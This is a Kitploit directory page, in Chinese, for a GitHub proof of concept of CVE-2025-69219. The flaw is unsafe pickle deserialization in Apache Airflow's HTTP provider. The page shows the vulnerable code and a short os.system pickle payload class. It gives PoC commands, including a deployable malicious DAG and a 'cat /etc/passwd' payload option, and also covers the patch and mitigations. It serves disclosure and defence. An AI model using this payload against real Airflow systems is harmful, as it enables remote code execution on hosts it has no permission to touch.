Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-69219 — CVE-2025-69219的概念验证利用工具,演示了Apache Airflow Providers HTTP中因不安全的pickle反序列化导致的远程代码执行。包含PoC脚本、技术分析和缓解指导。 | Kitploit
工具/GitHubGitHub/sak110/cve-2025-69219
漏洞分析漏洞利用论文与研究学习与教育Payload 开发二进制利用
GitHubsak110/cve-2025-69219

CVE-2025-69219

CVE-2025-69219的概念验证利用工具,演示了Apache Airflow Providers HTTP中因不安全的pickle反序列化导致的远程代码执行。包含PoC脚本、技术分析和缓解指导。

查看仓库
735个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2025-69219 — Apache Airflow Providers HTTP 通过不安全的 Pickle 反序列化实现 RCE

严重性: 高 (CVSS 3.1: 8.8)
向量: AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWE: CWE-913 — 对动态管理代码资源的不当控制
受影响版本: apache-airflow-providers-http >= 5.1.0, < 6.0.0
修复版本: apache-airflow-providers-http == 6.0.0
补丁: apache/airflow#61662 · commit 97839f7


概述

Apache Airflow 的 HTTP 提供程序使用 Python 的 pickle 模块来序列化和反序列化延迟任务的 HTTP 触发器响应。HttpOperator.execute_complete() 中的漏洞点代码如下:

root@kitploit:~
# 有漏洞的(补丁前)— providers/http/src/.../operators/http.py
response = pickle.loads(base64.standard_b64decode(event["response"]))

event 字典从 Airflow 数据库读取,这意味着任何具有数据库写入权限的主体都可以植入恶意的 pickle 负载。当 Triggerer 工作进程处理延迟任务时,它会盲目地反序列化该负载,从而以 Triggerer 进程的权限执行任意操作系统命令——等同于 DAG Author 的权限。


根本原因

对不可信数据使用 pickle.loads() 本质上就是不安全的操作。Pickle 的 __reduce__ 协议允许在序列化 blob 中嵌入任何 Python 可调用对象,并在反序列化时执行,且无沙箱保护。

Airflow Triggerer 在任务完成时序列化 HTTP 响应并将其存储在数据库中:

root@kitploit:~
# triggers/http.py (补丁前)
yield TriggerEvent({
    "status": "success",
    "response": base64.standard_b64encode(pickle.dumps(response)).decode("ascii"),
})

数据库级别的攻击者将该值替换为精心构造的 pickle blob,例如:

root@kitploit:~
class RCEPayload:
    def __reduce__(self):
        return (os.system, ("id",))

payload = base64.b64encode(pickle.dumps(RCEPayload())).decode()

然后 Triggerer 调用 execute_complete → pickle.loads() → RCE。


修复方案 (6.0.0)

该补丁完全用安全、显式的 JSON 序列化器替换了 pickle:

root@kitploit:~
# triggers/http.py (补丁后)
yield TriggerEvent({
    "status": "success",
    "response": HttpResponseSerializer.serialize(response),  # JSON 字典
})
root@kitploit:~
# HttpResponseSerializer.deserialize() — 验证输入为字典,从不执行代码
if isinstance(data, str):
    raise TypeError("响应数据必须是字典,字符串无效")

新的反序列化器仅根据已知字段(status_code、headers、content 等)重新构建 requests.Response 对象——无法执行任意代码。


PoC

需求

root@kitploit:~
# Python 3.9+;安装有漏洞的版本
pip install "apache-airflow-providers-http>=5.1.0,<6.0.0"

模式 1 — 本地模拟(无需 Airflow)

在进程内重现有漏洞的 pickle.loads() 调用:

root@kitploit:~
python poc.py
# 或使用自定义命令:
python poc.py --cmd "whoami"

示例输出:

root@kitploit:~
  CVE-2025-69219 | Apache Airflow Providers HTTP < 6.0.0
  Unsafe Pickle Deserialization → RCE via HttpOperator
  -------------------------------------------------------

[*] 命令       : id
[*] Pickle 负载: gASVKAAAAAAAAACMAnBvc3lzdGVtlIWUUpQu...
[*] 触发反序列化(模拟 execute_complete) ...

uid=1000(user) gid=1000(user) groups=1000(user)

[+] os.system 返回: 0  (0 = 成功)

模式 2 — 完整 DAG 部署(需要运行中的 Airflow 实例,且 providers-http < 6.0.0)

root@kitploit:~
# 生成可部署的 DAG
python poc.py --mode dag --cmd "id"

# 复制到你的 Airflow DAGs 目录
cp cve_2025_69219_poc_dag.py $AIRFLOW_HOME/dags/

# 从 Airflow UI 或 CLI 触发
airflow dags trigger cve_2025_69219_poc

在任务日志中查看命令输出。

打印原始负载

root@kitploit:~
python poc.py --show-payload --cmd "cat /etc/passwd"

影响

因素详情
谁可以利用任何对 Airflow 数据库有直接写入权限的用户
执行上下文Triggerer 工作进程(与 DAG Author 拥有相同权限)
可能性

缓解措施

  1. 升级 apache-airflow-providers-http 到 6.0.0 或更高版本。
  2. 限制数据库访问——仅 Airflow 调度器/Web 服务器服务账户应对元数据数据库具有写入权限。
  3. 在升级之前,确保所有延迟的 HTTP 任务(deferrable=True)已完成或已清除,因为使用 pickle 序列化的进行中任务在升级后会引发 TypeError(该破坏性变更已在提供程序变更日志中记录)。
root@kitploit:~
pip install "apache-airflow-providers-http>=6.0.0"

时间线

日期事件
2026-03-09CVE 由 Apache 软件基金会发布
2026-03-09修复合并(PR #61662,commit 97839f7)
2026-03-09在 oss-security 邮件列表上披露

参考资料

  • NVD 上的 CVE-2025-69219
  • GitHub 安全公告 GHSA-9r5j-7r2x-rv4g
  • 补丁 PR #61662
  • 补丁 commit 97839f7
  • oss-security 披露

致谢

  • skypher — 发现者
  • Shauryae1337 — 发现者
  • ahmetartuc — 发现者及原始 PoC 作者 (poc-cve-2025-69219)

本仓库中的 PoC 基于 @ahmetartuc 的原始工作。


免责声明

此概念验证仅用于教育和安全研究目的。请仅针对您拥有所有权或已获得明确书面授权的系统进行测试。作者不对任何滥用行为负责。

下载工具
低——在配置良好的部署中,直接数据库访问不常见
影响范围Triggerer 节点上的完整主机 RCE:数据泄露、横向移动、持久化